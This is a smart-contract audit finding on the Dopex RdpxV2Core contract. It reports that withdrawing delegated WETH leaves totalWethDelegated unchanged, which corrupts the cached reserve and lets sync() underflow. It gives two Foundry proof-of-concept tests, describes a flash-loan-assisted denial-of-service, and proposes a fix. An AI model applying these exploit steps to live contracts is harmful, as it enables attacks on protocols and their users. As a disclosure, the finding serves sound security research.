Dopex - _eperezok's results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L978-L989

Vulnerability details

Users can delegate WETH using RdpxV2Core.addToDelegate(amount, fee). This will transfer amount WETH from the user to the core contract, and add amount to the totalWethDelegated state variable. Then, users can withdraw the unused WETH using RdpxV2Core.withdraw(delegateId), which will transfer at most amount WETH back to the user, but leaving totalWethDelegated unchanged.

The big issue comes when RdpxV2Core.sync() is called, since it deducts the incorrect totalWethDelegated from the WETH balance of the core contract, leaving reserveAsset[reservesIndex["WETH"]].tokenBalance with an incorrect value, lower than it should really be. This incorrect value is then used in many sensitive functions of the core contract.

Impact

Although the issue exists even when users use the protocol as intended, it becomes much more severe when an attacker abuses it to arbitrarily reduce the "cached" WETH balance of the core contract (i.e. reserveAsset[reservesIndex["WETH"]].tokenBalance).

Note that the attacker does not need a big amount of ETH to execute this; they can either deposit and withdraw small amounts repeatedly (paying only the associated gas fees), or they can take a flash loan, deposit, withdraw and repay it in the same transaction.

This behavior will lead to a DoS on critical functions of the core contract, making them revert due to Arithmetic underflow errors. The affected functions in the core contract are:

• lowerDepeg(...): DoS here will prevent its use to re-peg DpxETH/ETH.
• _stake(...): DoS here will prevent creating bonds.
• provideFunding().
• _purchaseOptions(...).
• getReserveTokenInfo("WETH"): this function won't revert but rather inform an incorrect WETH balance.

Also, the sync() function can be DoSed by an attacker by making totalWethDelegated greater than the real WETH balance of the core contract, again due to an Arithmetic underflow here.

Proof of Concept

This first PoC showcases how the "cached" WETH amount is incorrect after a regular addToDelegate(...) => withdraw(...) => sync().

diff --color a/tests/rdpxV2-core/Unit.t.sol b/tests/rdpxV2-core/Unit.t.sol
335a336,366
>   function testWithdrawVuln() public {
>     uint256 initialWethAmt = 10e18;
>
>     // send weth to rdpxV2Core
>     weth.transfer(address(rdpxV2Core), initialWethAmt);
>     rdpxV2Core.sync();
>
>     (, uint256 wethBalance,) = rdpxV2Core.getReserveTokenInfo("WETH");
>     assertEq(wethBalance, initialWethAmt);
>
>     // user delegates weth
>     uint256 delegatedWethAmt = 1e18;
>     uint256 delegateId = rdpxV2Core.addToDelegate(delegatedWethAmt, 1e8);
>
>     // user withdraws unused delegated weth (withdraws all since nothing has been used)
>     uint256 wethWithdrawn = rdpxV2Core.withdraw(delegateId);
>     assertEq(wethWithdrawn, delegatedWethAmt);
>
>     // sync rdpxV2Core's balances to account for delegated weth
>     rdpxV2Core.sync();
>
>     // "cached" weth balance in rdpxV2Core should be the same as the initial one
>     (, wethBalance,) = rdpxV2Core.getReserveTokenInfo("WETH");
>
>     assertEq(weth.balanceOf(address(rdpxV2Core)), initialWethAmt); // real WETH balance is correct
>     // This SHOULD pass, but it doesn't, since "cached" WETH balance is incorrect
>     assertEq(wethBalance, initialWethAmt);
>
>     // assertEq(wethBalance, initialWethAmt - delegatedWethAmt); // This SHOULDN't pass, but it does
>   }

Test code outputs:

    ├─ [3699] RdpxV2Core::getReserveTokenInfo(WETH) [staticcall]
    │   └─ ← MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 9000000000000000000 [9e18], WETH
    ├─ [583] MockToken::balanceOf(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) [staticcall]
    │   └─ ← 10000000000000000000 [1e19]
    ├─ emit log(: Error: a == b not satisfied [uint])
    ├─ emit log_named_uint(key:       Left, val: 9000000000000000000 [9e18])
    ├─ emit log_named_uint(key:      Right, val: 10000000000000000000 [1e19])
    ├─ [0] VM::store(VM: [0x7109709ECfa91a80626fF3989D68f67F5b1DD12D], 0x6661696c65640000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000000000000000000000000001)
    │   └─ ← ()
    └─ ← ()

Test result: FAILED. 0 passed; 1 failed; finished in 949.22ms

This second PoC will show how an attacker can DoS the sync() function, making it revert unconditionally:

diff --color a/tests/rdpxV2-core/Unit.t.sol b/tests/rdpxV2-core/Unit.t.sol
335a336,355
>   function testWithdrawVulnSync() public {
>     uint256 initialWethAmt = 10e18;
>
>     // set rdpxV2Core's balance to 10 weth
>     weth.transfer(address(rdpxV2Core), initialWethAmt);
>     rdpxV2Core.sync();
>
>     // attacker delegates (deposits) 100 weth (more than contract's balance)
>     uint256 delegatedWethAmt = 100e18;
>     uint256 delegateId = rdpxV2Core.addToDelegate(delegatedWethAmt, 1e8);
>
>     // attacker withdraws 100 weth (all)
>     rdpxV2Core.withdraw(delegateId);
>
>     assertEq(weth.balanceOf(address(rdpxV2Core)), initialWethAmt);
>
>     // This and any subsequent call to `sync` will REVERT due to arithmetic underflow
>     rdpxV2Core.sync();
>   }

Test code outputs:

    ├─ [583] MockToken::balanceOf(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) [staticcall]
    │   └─ ← 10000000000000000000 [1e19]
    ├─ [4573] RdpxV2Core::sync()
    │   ├─ [583] MockToken::balanceOf(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) [staticcall]
    │   │   └─ ← 0
    │   ├─ [583] MockToken::balanceOf(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) [staticcall]
    │   │   └─ ← 10000000000000000000 [1e19]
    │   └─ ← "Arithmetic over/underflow"
    └─ ← "Arithmetic over/underflow"

Test result: FAILED. 0 passed; 1 failed; finished in 804.69ms

Tools Used

Manual review and Foundry.

Recommended Mitigation Steps

Update totalWethDelegated when a user withdraws unused delegated WETH.

On RdpxV2Core.sol#L986, inside the withdraw(delegateId) function, add the line:

totalWethDelegated -= amountWithdrawn;

Assessed type

DoS